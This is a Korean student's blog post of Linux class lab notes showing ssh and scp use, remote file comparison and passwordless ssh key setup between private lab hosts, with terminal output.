172.16.9.252 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Wu5Y1I5yS4xHNxvHOyzwyh0qKc1AOdeloAUCbyDu0Xia+gGpdncN1US+s/95jCCSF+oW5psmTohI6N0gG978UJLen0YXi22Uibz8fr7Glx3B3I+gB7VaKd+T5PFs/K8eAgxHBIPF7wnWMi0BxNvG1wCySAbXErJNKSNgjGFzNcHDsEEZ03FuB7vP3PaIwY33k1uMtl6d5eBaxtLOvMFIPJt5awRb/jOOBjqC7f5MQhFL+reLV1tT6yoxK3NmwgkIScqctyQXVng0EIEP9LNYA08QXt+BJCgEbzrvTQ219gKIai4pTRJ9Gq2JoW6TIca0Q2SlmocyR1VdzBlCvCVVw==
[root@linux220 ~/.ssh]# > known_hosts //키를 지운다
[root@linux220 ~/.ssh]# ssh 172.16.9.252
The authenticity of host '172.16.9.252 (172.16.9.252)' can't be established.
RSA key fingerprint is e2:f0:f8:a2:47:3b:b4:7c:ae:65:38:0e:31:bf:1f:84.
Are you sure you want to continue connecting (yes/no)? yes //키를 새로 받는다
Warning: Permanently added '172.16.9.252' (RSA) to the list of known hosts.
root@172.16.9.252's password:
Last login: Wed Apr 20 20:55:41 2016 from linux252.example.com
[linux252@~]#  hostname
linux252.example.com
[linux252@~]#  id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[linux252@~]#  exit
logout
Connection to 172.16.9.252 closed.




[EX2] ssh/scp 명령어를 통한 파일 전송

[root@linux220 ~]# a
[root@linux220 /test]# cp /bin/* /test
[root@linux220 /test]# ls
alsacard              dbus-daemon    false     link             netstat          sed            traceroute
alsaunmute            dbus-monitor   fgrep     ln               nice             setfont        traceroute6
arch                  dbus-send      gawk      loadkeys         nisdomainname    setserial      tracert
awk                   dbus-uuidgen   gettext   loadkeys.static  pgawk            sh             true
basename              dd             grep      logger           ping             sleep          umount
bash                  df             gtar      login            ping6            sort           uname
cat                   dmesg          gunzip    ls               ps               stty           unicode_start
chgrp                 dnsdomainname  gzip      mail             pwd              su             unicode_stop
chmod                 doexec         hostname  mailx            raw              sync           unlink
chown                 domainname     igawk     mkdir            red              tar            usleep
cp                    dumpkeys       ipcalc    mknod            redhat_lsb_init  taskset        vi
cpio                  echo           kbd_mode  mktemp           rm               tcptraceroute  view
csh                   ed             keyctl    more             rmdir            tcsh           ypdomainname
cut                   egrep          kill      mount            rpm              touch          zcat
date                  env            ksh       mountpoint       rvi              tracepath
dbus-cleanup-sockets  ex             ksh93     mv               rview            tracepath6
[root@linux220 /test]# mkdir -p /backup
[root@linux220 /test]# tar cvzf /backup/linux220.tar.gz /test
tar: Removing leading `/' from member names
/test/
/test/umount
/test/unicode_start
/test/echo
/test/tracert
/test/chmod
/test/stty
/test/ps
/test/doexec
/test/mkdir
/test/sed
/test/kill
/test/mountpoint
/test/mount
/test/gettext
/test/mktemp
/test/vi
/test/alsacard
/test/raw
/test/hostname
/test/dmesg
/test/ls
/test/pgawk
/test/gunzip
/test/ping
/test/ed
/test/mv
/test/uname
/test/gtar
/test/ipcalc
/test/gzip
/test/awk
/test/netstat
/test/bash
/test/rview
/test/chown
/test/domainname
/test/nisdomainname
/test/tracepath
/test/keyctl
/test/false
/test/login
/test/dbus-uuidgen
/test/setfont
/test/gawk
/test/tcsh
/test/kbd_mode
/test/date
/test/dbus-send
/test/dnsdomainname
/test/usleep
/test/pwd
/test/ksh
/test/grep
/test/touch
/test/dumpkeys
/test/ypdomainname
/test/nice
/test/basename
/test/sh
/test/mail
/test/redhat_lsb_init
/test/loadkeys
/test/cat
/test/mailx
/test/sync
/test/cpio
/test/unicode_stop
/test/view
/test/ping6
/test/rvi
/test/env
/test/ex
/test/ksh93
/test/sleep
/test/df
/test/loadkeys.static
/test/link
/test/dbus-monitor
/test/alsaunmute
/test/rm
/test/csh
/test/red
/test/setserial
/test/sort
/test/egrep
/test/tar
/test/more
/test/unlink
/test/dbus-cleanup-sockets
/test/tracepath6
/test/chgrp
/test/taskset
/test/arch
/test/rpm
/test/rmdir
/test/ln
/test/su
/test/dbus-daemon
/test/traceroute6
/test/dd
/test/cp
/test/true
/test/igawk
/test/tcptraceroute
/test/cut
/test/logger
/test/zcat
/test/fgrep
/test/mknod
/test/traceroute
[root@linux220 /test]# scp /backup/linux220.tar.gz 172.16.9.252:/backup
root@172.16.9.252's password:
linux220.tar.gz                                                              100% 6129KB   6.0MB/s   00:00   
[root@linux220 /test]# ssh 172.16.9.252 ls /backup
root@172.16.9.252's password:
linux200.tar.gz
linux208.tar.gz
linux212.tar.gz
linux213.tar.gz
linux216.tar.gz
linux217.tar.gz
linux220.tar.gz
linux221.tar.gz
linux226.tar.gz
linux2XX.tar.gz


[EX3] 로컬 && 원격 파일/디렉토리 비교

[root@linux220 /test]# cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1       localhost.localdomain   localhost
::1             localhost6.localdomain6 localhost6
172.16.6.220    linux220.example.com    linux220
[root@linux220 /test]# ssh 172.16.9.252 cat /etc/hosts
root@172.16.9.252's password:
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1       localhost.localdomain   localhost
::1             localhost6.localdomain6 localhost6
172.16.9.252    linux252.example.com    linux252

#
# Test OS
#
#172.16.9.50    linux50.example.com     linux50

#
# (1) Server Hosting List
#
#172.16.9.200   linux200.example.com    linux200
#172.16.9.201   linux201.example.com    linux201
#172.16.9.202   linux202.example.com    linux202
#172.16.9.203   linux203.example.com    linux203
#172.16.9.204   linux204.example.com    linux204
#172.16.9.205   linux205.example.com    linux205
#172.16.9.206   linux206.example.com    linux206
#172.16.9.207   linux207.example.com    linux207
#172.16.9.208   linux208.example.com    linux208
#172.16.9.209   linux209.example.com    linux209
#172.16.9.210   linux210.example.com    linux210
#172.16.9.211   linux211.example.com    linux211
#172.16.9.212   linux212.example.com    linux212
#172.16.9.213   linux213.example.com    linux213
#172.16.9.214   linux214.example.com    linux214
#172.16.9.215   linux215.example.com    linux215
#172.16.9.216   linux216.example.com    linux216
#172.16.9.217   linux217.example.com    linux217
#172.16.9.218   linux218.example.com    linux218
#172.16.9.219   linux219.example.com    linux219
#172.16.9.220   linux220.example.com    linux220
#172.16.9.221   linux221.example.com    linux221
#172.16.9.222   linux222.example.com    linux222
#172.16.9.223   linux223.example.com    linux223
#172.16.9.224   linux224.example.com    linux224
#172.16.9.225   linux225.example.com    linux225
#172.16.9.226   linux226.example.com    linux226
#172.16.9.227   linux227.example.com    linux227
#172.16.9.228   linux228.example.com    linux228
#172.16.9.229   linux229.example.com    linux229
#172.16.9.230   linux230.example.com    linux230
#172.16.1.200   linux200.example.com    linux200

#
# (2) Working Host
#
172.16.9.249    linux249.example.com    linux249

#
# (3) NFS Test
#
#172.16.9.239   ibmaix239       ibmaix239.example.com
#172.16.9.249   solaris249      solaris249.example.com


[root@linux220 /test]# ls /test
file1  file2  file3
[root@linux220 /test]# ssh 172.16.9.252 ls /test
root@172.16.9.252's password:
alsacard
alsaunmute
arch
awk
basename
bash
cat
chgrp
chmod
chown
cp
cpio
csh
cut
date
dbus-cleanup-sockets
dbus-daemon
dbus-monitor
dbus-send
dbus-uuidgen
dd
df
dmesg
dnsdomainname
doexec
domainname
dumpkeys
echo
ed
egrep
env
ex
false
fgrep
gawk
gettext
grep
gtar
gunzip
gzip
hostname
igawk
ipcalc
kbd_mode
keyctl
kill
ksh
ksh93
link
linux208.tar.gz
ln
loadkeys
loadkeys.static
logger
login
ls
mail
mailx
mkdir
mknod
mktemp
more
mount
mountpoint
mv
netstat
nice
nisdomainname
pgawk
ping
ping6
ps
pwd
raw
red
redhat_lsb_init
rm
rmdir
rpm
rvi
rview
sed
setfont
setserial
sh
sleep
sort
stty
su
sync
tar
taskset
tcptraceroute
tcsh
touch
tracepath
tracepath6
traceroute
traceroute6
tracert
true
umount
uname
unicode_start
unicode_stop
unlink
usleep
vi
view
ypdomainname
zcat




(실무 예) 암호입력없이 ssh/scp CMD 명령어 수행하기

=====서버A=====                               =====서버B=====
# ssh-keygen CMD
id_rsa
id_rsa.pub               ---------->          ~/.ssh/authorized_keys


(on linux220)
[root@linux220 ~]# cd ~/.ssh
[root@linux220 ~/.ssh]# ls
known_hosts
[root@linux220 ~/.ssh]# ssh-keygen -t rsa (# ssh-keygen -t dsa)
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
8e:c5:ec:a0:c1:31:96:af:c0:be:c7:a7:3b:9a:15:66 root@linux220.example.com
[root@linux220 ~/.ssh]# ls
id_rsa  id_rsa.pub  known_hosts
[root@linux220 ~/.ssh]# scp id_rsa.pub 172.16.9.252:/root/.ssh/authorized_keys.linux220
root@172.16.9.252's password:
id_rsa.pub                                                                   100%  407     0.4KB/s   00:00   


(on linux252)
# cd ~/.ssh
# cat authorized_keys.* > authorized_keys
# cat authorized_keys

(on linux220)
[root@linux220 ~/.ssh]# ssh 172.16.9.252 cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsshx8jUPsyrDVHm4pYsi/SNzaEf0/I40IPIOInsgagk4nCJZpXKrtDN3dj1/3u16jKGMbmhK4v4V0axnVKXRtKDeySioJjMFwfP+M9dNdzOQpfhFkF5iC7FELq3SPWFak8/caEFB98Xb8J4WTrbUzuKvZH4ndYdcBiKTtyCpof5lK/+QwT/Wujb42LO2QjkhTKEyf1I6qxaSJNQhdMAKf33YvpE3P6UGRjjQVW1vQvsRlMqc6X8IdRtWlksW8IwejPdbkoCcIA/JDyGus/7eS4qTKENVfhU5lqb7Veqet7Yt4Ip9yykWFY4g3qnUTl0RADVrN65N9J9d5uhPnMYg4Q== root@linux200.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmTf9xcvvwxJ0jAN/RyBcs2FbtWFfwaUv2D+fmkjDY6fFzdzurXi6AKHq7X+5mZ0ZI6+U3jVdzZ/VEPYGoTrdDptf4qAdSYkOWIjpFadEZX9JU9izuTj8lIIEWG/K/gce1mNKTftrPekgUyZrPnzBszG4fleWp8fADyZnwjZY2klulVaVmzzBYNxYBROZKnscYPRhKj8hvdov9TKktrk6oSUQzXfKZdiUB2tUTzmKAQjpwP1ik+bESqF4sJWyABQQWpx3vZnTBMew64xq6amUrUAh/hlKfwAVg3aFyreSqBsWm+E4jIMQ605E5+bPjmBOmzdOBj1nWtSPYymP5VIP+Q== root@linux200.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2qcaUAEtoDg7Rql3yS+WWsvMkxIcMuqO7gRyCklbPTldIYHUNwyt6vVpMMpR1zOj8mdJOnTCKOklMyLigdPR50u77j8NCZYxFNLb5KTkG+BZuHyIq3MTFenjFqDd4TxrTw67zklDgAfqdrbf0OHC14aJv0r8I+YiCTC5xTQ6ZYAw3OtMsIfzsSNCP5HCjN8TrMlp3d83bOOilkYncGxhrRBptGIkf4OQyw6tOXCQIMjkqetYZ+47c0aTii6haIhyZYpv0toQVUGM9Qlw699/CRE3vRRNkwI1VuZuRynHkQerdvlKsKOlANLL+t4hfGg5ROt9zxA56/Wf6aPi7btA+Q== root@linux203.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2fMfcq/BS5DmLJi6WD+Q3lJtzeBVyBEJ84EC7yJ475tg0UveSpXLP+uRdSzV9skH08XtJZaqLOw8PBGF1WdeuI1n1hQYvQActMUG3X8774S0SxOznQAVzfVGivIZboNmSFV6HWGQ46YpJyNLMMpv0nDYjQm7URyQwhfZQvvX6ujFUol1pywgPZxUGVWLhZJ+6Mper4VFDNQqi3qVidLBgPZidGHXPlN6djUVL6bY9deHn2yjdQKreFBlSYrqOnu0JylXNolQxXtAUYNNCdYq0Bg528UdRkNDue0iZvErvAmdldozSHVY3BcXKxBzmFjXDEPdWSYc5ZXffEYMmpUQCw== root@linux204.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzCDcE5EixFwf00i3MvLzs6haTJN/b47IRqR58lpiFOxwejEOBl7GPXmdQfFDeLDgORannoXwOotbyc3YDOAhIgYQqcmgf5VifroyjmMnoavYOO7Cdomi+O3iJzfVn6oCz+rCNwpUUlTxbBPPz7gCNARlpy7Fn4DCEwoespPNcS32pPOnFHC6Bym2jbxuqcxqgNBQE7AEUcg0ZTKgEIPBw4WE2dtEy1YNoH0KrN2fnlD6YHrKQC9LZ8m55GVRbok4Ypt+8mKmKCkCFiA5kQZqzfFhdMBrBrPLhEQLedq8m9OfUF+iv1buwnIjmjeIlNwiGC91TYdDHXxjgq1n2NPlKQ== root@linux208.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyMk7JRJZ9kovvRZJW38O4PIB4iiNaM6cnUVqFTmhTEMcRYgHFrhje8cZMSVT0JWbRLHX2QOfX+rqzWFRrXsJhVfM9Hvwdqf8PimvKcorYOLiej9OHCHEPgd+Ni3I4XVxKQPIfgU3or3M4DwAKPEexANwrng4xvuwhZdi7qDF/h8vAbQ8fQQ2IVt3KAqvka33YG0gq4yE3LfgAkf7SuZQTV2ss0lqsQ52KOBVBCk0r8qbH3hz4Y1fpG5Wr2vgSfxxI3fekeIJW6QU2VMZammMuGdiMtNxNHdK3wbZZoRlqQStwx70swFhnN1oEqemZIUxSl8Og+d+bZDAtf6hHYk/nQ== root@linux209.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAugbVrCpvozt+PXVDNi6DPFbW9AcIDGSpfaj22oWawmuJOmIduINiODZzNC4dcWpFH9cH078VIVawtsxFDLW/640mVrMdNBBaENxpdx8vjY29Yc6rgXWXl6CleCWGKhfXT1k9mOQtsUBITD8hFblEhrsBc+TK3Odof42huxJz37n/cslbX8AXQL4dVZW2hg1mH20hQ6AF7yZBDavTJp+Ngf3eijhKS0Qewgxv8avZ/ahN04LBmoXaWNDeIbHb5337mZfuW5BZAGXezGBy+ffsX0XzdblG11XY5roMNYpMVIXkhSEIJ/AB/OYciwBpk7Cn6SFF7i5IJXf7kEyRADFTfQ== root@linux210.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoLge+fBBQyteutiDVvd3ptF3A1DCGaBmYoIcZjiJbPwHCY9AUp1p0M/Vwsr19EsrsNQB0aEG9mwRjedeRrR0XwwPl8n9w50OVVkDCLvadwJ9UwFXJaE/DpDE4Ss+nBuByTVdCzuygCzA+pZjPumy1n5luvhhaC0el+mrhYs+Ep/ZqTIKHcjuxsA3rQIApUoMkVucipO3aUjH72KDzpLVR3F9bJZcHf39Vel8auYOfNxBsAgpj5bHCLFF3O4qcVfZlskiKw8LRavK/hO9iJ/dmvpfiFH/EfuZV8xiRRgxXwWcEk8mZWzcBKaETrTXrLs73sbzhmgVRUIHsAMzCBEZpw== root@linux211.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqyaTXCY3F+D40Nl/unvYElTt+s3Dt9fAWCqztD9VqFbkeyY80zIBTh1PfgvUxTUtdY8sfWDul8XNrGXE7lSFoRHPE0J600sfNi3NhzXm+uL6ssuaFR+6TsIQBELnIu3+kB5aPL9Wzxe79e4cdd1/pFfwu8920YF+Eb8MTqlllaTGpImOjEQH4uXl2y1TAinEkDosSkFAh1WuIHSwRoCOsNPdYsEGIPE6O4leVyLzjXBAJGzmadRhDlTXO37LzkYVtPnA84pdVuI37u40V3o/xy3YNSAuJmsAfT/R2gWLAD+qI3mLVoMyvESvwrCNXjnRjYinB8jjhDBP+9a/NGFfgQ== root@linux212.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1vY482Q5Q6UmfGc/Xcl+P9z/xVFXonW58k1dKdcgr9xCYmoAHTp+fQze7ElZNkXbbexCMO6agiYMFekY1NNNmOPPUvw5FS886X6mrYgoiGlaflUVRNYvQZKWxz330acUkHV1qeu/nswohfttBou2nFREkkXg2UQjb+gxpCrn/jiwcHMl/rjS/HToxELjWpKDF9VkUfHeC202CF9OI1YbmwU3S5rxsJCERguBaCOoDeUDuQDA/sOi/vDX6hqXEWNG8pxb8w0GMvEZ9zGDQlDL2mY6Pvm5Fox6DW9bcvu7XkjRhLUTOR5uWCLm+JQ3xzG18CQ0GGlzp39LdOEZ2Asi3Q== root@linux213.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApm0KxAiZWI18hEfPxcygUXrlhQPrcVKCLEslD2l4tlxDRdMIvHQgsKx8Z4CK5YPA+bD3Twp5bPTaz1AOk2/9yjVchT/c0A5vPl2i4gcC4W1Fq7ENlOKqFTgh1I3PxieOLWF/GFsnte58EnI3vj1JaV5RuMd3QgzV8VYsa5LClBp3ibAjC0X5r8a2h7Vmo2Mep+F/OZvWm7uVtqFQ4bYFmic6IazqTrAkhtuqmlOSxuDQzcMd899lbTelE1M84Wif1UvdOp1jxp/fAbtA5xdwOBxiP7bQlbLmGE80vS5UyjuMUhshjTU1ues45I9vV1ETUAOyzCGWVmN+47EuZUSaeQ== root@linux215.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAulcHALXahBFwyWW0AU+/3JiACpw3Evc3bzeq86sOH7ldUYEP60IOC3uWJcy1Q+JB9cAqKnKSXTRW379z1rtMdXC8womAo63xZEM73JVl7zwiyCaK3lR5EtbFOUagvag+lARLYzXLgTBp8QZ0IWYvtvBWTKWXGh/tZlpzXM9pol1gYhJ4N/i7QlJqA3LNeM8nC4fCenU21H5ZAwuhM//5l4D6FLLyFvsuhks8z34/s8V3IvYjGxSl5cZnlL9pbMFDlFFb8dQ5Y6ZIDVvvztzUss+1IxXT+kkQZP7nEKU+dkTukWu4hgdtp1N1qdf++JA6FYYXtU4nURlGuXa4HEA+aw== root@linux216.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqEmsezj/jz/qF6Y6X60Y6VsPNAnaPv1AUrrYhyADLYjR4RufgS/O/t6EiEBf8asae7qwtWE1NMn+cAQFGIVzUyA2xkgQz+LMS9TQGjJLIVPQzY4C1UF6rd49TFCyt1lhO+uMpqLQ7MjpY0WZOtUO9aQOIEnOtKdSnoQP2ggMDs4UjI8CQmVVHfKD/qB3UphecO9D7RwHnvBpcQKs4LqquzeSRDlcBszsPDOh2AFbUTzNPyW5/UPCI7mErhxu9xnhXyBBeG6ZG4vVcnIyZ6EiILiTCwtfE0otyZT+Y8ynBT2idE5SNG18et1RQ/xjXpaXnKcH6nDIuZPT5Td+yHzzAw== root@linux217.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAln/JssvWvvN4YPWUf62H5WTevTl1GdpfYnFYig3UTKXPk+4LHI7OIPFL1cqZuAzoIQFr76rqJO2WXx9aA4crcS0FWodvK6DuMK9Id4MqIUKZKrHXTRVxVE+717qTLow7RkbOmCXYIQruEqJQH1zsKfS+iXqI3/rEoV17s7uZId3L/0L6k+axuRFi/2nb+O0+6oQAK7seQVXZ4M9oZYDzzFC+HhGf1Hk/IOnRNTjkrO3Oy6bXg+spDNzHvm0J6k4UJUuQsYEYYkzztJLxk1lTXU+3hGCGPOTC2kolptDv2vU7OVPpWgV0iGCrVOD8eG5R6msRXOsrPqk5hZ3HnyrlIw== root@linux218.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxmkv76UB2EK2qDx02rtL9e8Y2sQp/vdr8A76OZCyUj5FWvI+qAyAwHoFUi8xJVflv0UVGLzaBRHeGVaPgdK5dlbUkftS/rWUSRCiBWY5vE56O+r1myJnwrR4MkA2e4W88P0thBArdACO4xyMu2hBy2nOQkxBjrpUn02/o+Yr2Za7KTYgLswQNY6Ov2tUQScZyAzizkTvjhx27mWKVdSaVd2k0CwLUWLbYCz215R/YBMbjbHYN82Drl8pDj33m21N6WS8H6t+87XwF/EE2cm0hGyzXRhF2iS3D6gwtYWtMRi+WQaSFWNYKxeOM1fGcF0wQ4UkXQkirW2ARbwwCjKwMw== root@linux219.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr+XkmiZQv3r/z6hYgwcIWZNUWm27uRmBa+rLDQJFiFvhujXLw3TJG1XgRspB8yLKY53VVzikanlL+kvJGoYU1rDAomp8kk+dSzcOGAn3uSwJiCNjuGfPa3rlsQ4tH2JIn014qkxXeQWJ3ScMHUVGkLCsoH0EhFW1WsLJxCI4I52SAo13NUMUn7dd6z8v5Cw4TbHf0P89V16xSPO5TbvdagE8fxEHdiwWiCpVbsMGzMlh1E0fxcjAW6sX+hNhRdKhqm214UDFsFMbN6wHn9IUaONYPqyCEash1WTCemHp5QLAYei3i5YBBaLVahDTaIoC2ApBu3b3UoNJh940A1yZ6Q== root@linux220.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA26A+DPUo2A2h28/iuWD7Ia892d5jqnPNOdXxyde0UnVqQzWstH2aUonDZkbMDycCIMu3ZhfAzU6Fr1jLGcpnYSljGdVxyHAGi9cYqSf722uvTFkrT2lqYGnl3hqgUIYzNsnv09984Pptd63P4ffTTwacm38brB+IWueUbuJzMRVGDLKR6PA9AAfadN9/bRJ4rl4FeLj/eu9GKYqUxcBhrWpsA3gFIF6eti6WQzdyBYSHFCvcKOO64ZnoXFGG9yRpwH26VkVuukMxDdPuZB8mXDrtjhwvWQbw0mqqrApEqYz6E9s+GO9W4oAuHALiWNrhaHjDXpZ8gzm9UXlZhlhOHw== root@linux222.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAplJluWti16B68pwgxFeeks3vJD9nz+FFxBeqNSxKynZUpf+htGF42yN0HF3RoR3DofHUHGo41aTspPJh19+Xirdb1XqfudJg2hq2W4nH9QkU9/4SaRqG/QGEugjwWw3DpgVjeLzEoPs9vt5ajddazOYbcJ4TCIYWlOVeuYNlLrynSMh9llLcJLd3UXxzyEzUH6QuUYrqTlzOojrQ5z5W9KixZmgWOVAFZgBBy0xmc64KCDVepD+J80ibQx8dPIgdTfg5N4JoVSDCoKpg9Ig7FVc555j+PPDzo2Ig4dZVf6Fat8QK7Xauhh2TnBU5cKYAOfzmUBKgvvh69u9x1H3smw== root@linux224.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0OvNGYTphqxqxoMoSKkVtVJSpt5V1xWnMVR0enOneLR58bQjmnamueSdoqFhQ+470Uh0yu9n44FaqXNH97jrJrXqaRqk+OvS/9eia4sChPwM+B9RaCzwO77MKjl7BJwglQslqd5EeWsf7AUGR2zastDybMJVIQokUuzDJYmVv/ZID3l/8P3A9YnDmVABwkoMIKL8B7snsF6qjokb3Hjc3nx9ngpS8qXMD4QLh9nFr5X8YWfSAfRKz3rY40V2xZqry593BsNY77Mx4OXmJMELyQ6DrohZe8EQdZCuiXAN2GUPPrIYhtJlpYORhrPJvjPOkgD1lBryeZe391jgZdWb6w== root@linux225.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyir2TBIVp+AF6b9Mpm5Vob72Dkqsf6VAf7/yd+pGtYvTAFN2KSsKJ82LAYh/SMdsL+kKirQcHJ4EBz/LjA2VtASXcM1X5aCDblcbZpIvSWx1oaaX4o1xWInHBZ4O5R6zUIqJ/hing+sYKyhYIXdW80csG8ZNl6CZR1Rli7879hmFOdisU8ufikuVek+GNrq2dKfqlOb2+Nma9dgIaT3m0JFxaBK207kT3AAz77L9mNUNEUQY4XW1adpqj5M5OR4iPuxRn3zh71rpIXkvKdG+D/+1iEkBqpGB0kE9q/LOdjH0+kEx7C0Jam76r4xNhB8GHKdLaUljs2AfMQODyVQQjQ== root@linux227.example.com
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0GdykYm8/tMy2rVTc7ELbXDEznbasK15j7RO9dupFfoY9xfmrDWfivLOgfeIJu5nMFVGjgWBuEtWih6SeWwfK9Tshw3VdQpCwkGkgpVRl/NHSci7I14mpd33WtxX0qbGpdwedi0JqyKmcGLJ+qcThZ+y1W01g/1mGDS3BSVXe4wklwzdJd4X/UKVu9SmCiijEJLwUaSdVSkAqG4/3Od0FUihke/Wn5jPIBN5GZsKESsZMMgbZUq/X1jdNzeXjNOAQpfMTjBQBm7OynW1xRMWh2RMrKw4bBdfsMly2WMm+RD5nVad6dN4BtmtpJWXk83qsAAgjIm8+X9md+lZYE14Gw== root@linux228.example.com
[root@linux220 ~/.ssh]# ssh 172.16.9.252 hostname
linux252.example.com
[root@linux220 ~/.ssh]# ssh 172.16.9.252 cat /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1       localhost.localdomain   localhost
::1             localhost6.localdomain6 localhost6
172.16.9.252    linux252.example.com    linux252

#
# Test OS
#
#172.16.9.50    linux50.example.com     linux50

#
# (1) Server Hosting List
#
#172.16.9.200   linux200.example.com    linux200
#172.16.9.201   linux201.example.com    linux201
#172.16.9.202   linux202.example.com    linux202
#172.16.9.203   linux203.example.com    linux203
#172.16.9.204   linux204.example.com    linux204
#172.16.9.205   linux205.example.com    linux205
#172.16.9.206   linux206.example.com    linux206
#172.16.9.207   linux207.example.com    linux207
#172.16.9.208   linux208.example.com    linux208
#172.16.9.209   linux209.example.com    linux209
#172.16.9.210   linux210.example.com    linux210
#172.16.9.211   linux211.example.com    linux211
#172.16.9.212   linux212.example.com    linux212
#172.16.9.213   linux213.example.com    linux213
#172.16.9.214   linux214.example.com    linux214
#172.16.9.215   linux215.example.com    linux215
#172.16.9.216   linux216.example.com    linux216
#172.16.9.217   linux217.example.com    linux217
#172.16.9.218   linux218.example.com    linux218
#172.16.9.219   linux219.example.com    linux219
#172.16.9.220   linux220.example.com    linux220
#172.16.9.221   linux221.example.com    linux221
#172.16.9.222   linux222.example.com    linux222
#172.16.9.223   linux223.example.com    linux223
#172.16.9.224   linux224.example.com    linux224
#172.16.9.225   linux225.example.com    linux225
#172.16.9.226   linux226.example.com    linux226
#172.16.9.227   linux227.example.com    linux227
#172.16.9.228   linux228.example.com    linux228
#172.16.9.229   linux229.example.com    linux229
#172.16.9.230   linux230.example.com    linux230
#172.16.1.200   linux200.example.com    linux200

#
# (2) Working Host
#
172.16.9.249    linux249.example.com    linux249

#
# (3) NFS Test
#
#172.16.9.239   ibmaix239       ibmaix239.example.com
#172.16.9.249   solaris249      solaris249.example.com


[root@linux220 ~/.ssh]# ls
id_rsa  id_rsa.pub  known_hosts
[root@linux220 ~/.ssh]# mv id_rsa.pub authorized_keys
[root@linux220 ~/.ssh]# ssh 172.16.6.220 hostname
The authenticity of host '172.16.6.220 (172.16.6.220)' can't be established.
RSA key fingerprint is 54:29:83:45:01:48:8a:3f:a9:49:5c:59:a8:4c:b1:93.
Are you sure you want to continue connecting (yes/no)?
[root@linux220 ~/.ssh]# ssh 172.16.6.220 ifconfig
The authenticity of host '172.16.6.220 (172.16.6.220)' can't be established.
RSA key fingerprint is 54:29:83:45:01:48:8a:3f:a9:49:5c:59:a8:4c:b1:93.
Are you sure you want to continue connecting (yes/no)?

왜 또 키를 받으라고 하는걸까??

known_hosts 값을 비우고 나니 252에 접속할때 또 키를 받으라고 함

뭐가 문젤까?

---->> 내가 이해를 잘못한 문제

키는 새로 받지만 암호입력없이 들어갈수 있게 하는것이었다!!

[root@linux220 ~/.ssh]# ssh 172.16.9.252 hostname
The authenticity of host '172.16.9.252 (172.16.9.252)' can't be established.
RSA key fingerprint is e2:f0:f8:a2:47:3b:b4:7c:ae:65:38:0e:31:bf:1f:84.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.9.252' (RSA) to the list of known hosts.
linux252.example.com

[root@linux220 ~/.ssh]# ssh 172.16.6.220 hostname
The authenticity of host '172.16.6.220 (172.16.6.220)' can't be established.
RSA key fingerprint is 54:29:83:45:01:48:8a:3f:a9:49:5c:59:a8:4c:b1:93.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.6.220' (RSA) to the list of known hosts.
|---> ~/.bashrc read
|---> /etc/bashrc read
linux220.example.com
[root@linux220 ~/.ssh]# ssh 172.16.6.220 ifconfig
|---> ~/.bashrc read
|---> /etc/bashrc read
eth0      Link encap:Ethernet  HWaddr 00:0C:29:1F:D6:BF 
          inet addr:172.16.6.220  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fec0:1234::20c:29ff:fe1f:d6bf/64 Scope:Site
          inet6 addr: fe80::20c:29ff:fe1f:d6bf/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:254383 errors:0 dropped:0 overruns:0 frame:0
          TX packets:19338 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:58422053 (55.7 MiB)  TX bytes:8444881 (8.0 MiB)
          Interrupt:67 Base address:0x2024

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1487 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1487 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2317725 (2.2 MiB)  TX bytes:2317725 (2.2 MiB)



기초 끝.












'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160421 리눅스 관리자  (0) 2016.04.22
20160420 리눅스 관리자  (0) 2016.04.21
20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160415 리눅스 기초  (0) 2016.04.15
Posted by 22Hz
, |
===============================메모===============================

#
# Specific Configuration
#
